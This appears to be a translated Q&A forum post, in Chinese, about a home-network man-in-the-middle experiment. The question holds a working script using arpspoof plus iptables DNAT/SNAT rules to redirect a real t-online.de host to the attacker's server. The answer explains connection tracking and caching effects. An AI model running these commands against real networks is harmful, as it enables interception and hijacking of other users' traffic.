Iptables 有时不能像我想象的那样工作

Iptables 有时不能像我想象的那样工作

我正在尝试对我的本地网络进行中间人攻击,并尝试用自己的服务器替换 navigationshilfe1.t-online.de 服务器。稍后我想替换自定义服务而不是 http 服务。我当前的脚本如下所示:

sysctl -w net.ipv4.ip_forward=1

export TARGET=192.168.2.104
export ATTACKER=192.168.2.115
export GATEWAY=192.168.2.1
export SITE=62.138.238.45 #  navigationshilfe1.t-online.de

iptables -t nat -F

iptables -t nat -A PREROUTING -p tcp --destination-port 80 -d $SITE -j DNAT --to-destination $ATTACKER:80
iptables -t nat -A POSTROUTING -p tcp -s $ATTACKER --source-port 80 -j SNAT --to-source $SITE:80

iptables -t nat -L -n -v

arpspoof -i eth0 -c both -t $TARGET -r $GATEWAY

问题是,有时目标的 Web 浏览器会显示真实网站,而如果我刷新页面几次,它就会显示假网站,反之亦然。有人知道原因吗?还是只是连接不好?

答案1

有几种可能性

请注意,iptables nat 规则仅对连接的第一个数据包起作用。一旦建立连接,就会使用内部映射表。

浏览器会重复使用连接以节省连接设置开销。因此,如果您的浏览器在添加规则之前仍有打开的连接,则这些连接上的请求将不会被转移。

另一种可能性是,您正在查看浏览器中缓存的影响。浏览器通常会执行“条件获取”,即只有当时间戳表明自客户端上次下载以来页面已发生变化时,才会重新下载页面。

相关内容